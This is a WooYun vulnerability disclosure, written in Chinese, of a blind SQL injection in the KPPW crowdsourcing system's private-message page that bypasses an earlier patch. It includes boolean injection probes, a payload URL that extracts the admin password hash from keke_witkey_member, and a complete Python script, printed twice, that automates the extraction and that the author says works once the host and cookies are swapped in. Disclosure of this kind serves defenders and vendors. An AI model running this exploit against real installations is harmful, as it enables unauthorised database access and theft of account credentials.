当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076782

漏洞标题:KPPW开源威客系统绕过防护盲注

相关厂商:keke.com

漏洞作者: JJ Fly

提交时间:2014-09-21 01:14

修复时间:2014-12-17 01:16

公开时间:2014-12-17 01:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-21: 细节已通知厂商并且等待厂商处理中
2014-09-26: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-11-20: 细节向核心白帽子及相关领域专家公开
2014-11-30: 细节向普通白帽子公开
2014-12-10: 细节向实习白帽子公开
2014-12-17: 细节向公众公开

简要描述:

KPPW开源威客系统 绕过防护盲注

详细说明:

1.
WooYun: kppw一处sql注入
厂商对这个漏洞进行了修复。替换了union 不能进行联合了
但是可以进行盲注。
同一个类型,多点。不过问题都出在消息这。
2.
注册两个帐号,然后其中一个对另外那个发送3个消息。

图片1.png


3.
打开中间那条 url如下
http://192.168.1.101/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16
然后尝试注入

图片2.png


下面我们可以看到 上一条 和 下一条 。
注入测试
http://192.168.1.101/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16 and 1=1--

图片3.png


存在。
http://192.168.1.101/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16 and 1=2--

图片4.png


消失了。
3.
主要利用url
http://192.168.1.101/KPPW/index.php?do=user&view=message&op=detail&type=private&intPage=1&msgId=16 and (select CHAR(48))=SUBSTR((SELECT `password` from keke_witkey_member WHERE uid =1),1,1)--
下面 写了一个小工具 替换下host url cookies就可以用了。

#coding:utf-8
import httplib
def get(i1,i2):
page=""
rHtml=httplib.HTTPConnection("192.168.1.101",80,False)
url="/KPPW/index.php?do=user&view=message&op=detail&type=notice&intPage=1&msgId=13%20and%20%28select%20CHAR%28"+i1+"%29%29=SUBSTR%28%28SELECT%20%60password%60%20from%20keke_witkey_member%20WHERE%20uid%20=1%29,"+i2+",1%29--"
#print url
rHtml.request("GET",url,headers={"User-Agent":"Firefox/22.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Cookie":"PHPSESSID=x","Connection":"keep-alive"})
page=rHtml.getresponse(False)
return page.read().count('一条')
mm=[]
for i in range(1,33):
for ii in range(48,123):
if(get(str(ii),str(i))!=0):
mm.append(chr(ii))
print "".join(mm)
break


图片5.png


漏洞证明:

#coding:utf-8
import httplib
def get(i1,i2):
page=""
rHtml=httplib.HTTPConnection("192.168.1.101",80,False)
url="/KPPW/index.php?do=user&view=message&op=detail&type=notice&intPage=1&msgId=13%20and%20%28select%20CHAR%28"+i1+"%29%29=SUBSTR%28%28SELECT%20%60password%60%20from%20keke_witkey_member%20WHERE%20uid%20=1%29,"+i2+",1%29--"
#print url
rHtml.request("GET",url,headers={"User-Agent":"Firefox/22.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Cookie":"PHPSESSID=x","Connection":"keep-alive"})
page=rHtml.getresponse(False)
return page.read().count('一条')
mm=[]
for i in range(1,33):
for ii in range(48,123):
if(get(str(ii),str(i))!=0):
mm.append(chr(ii))
print "".join(mm)
break


图片5.png


修复方案:

转换成int

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-17 01:16

厂商回复:

最新状态:

暂无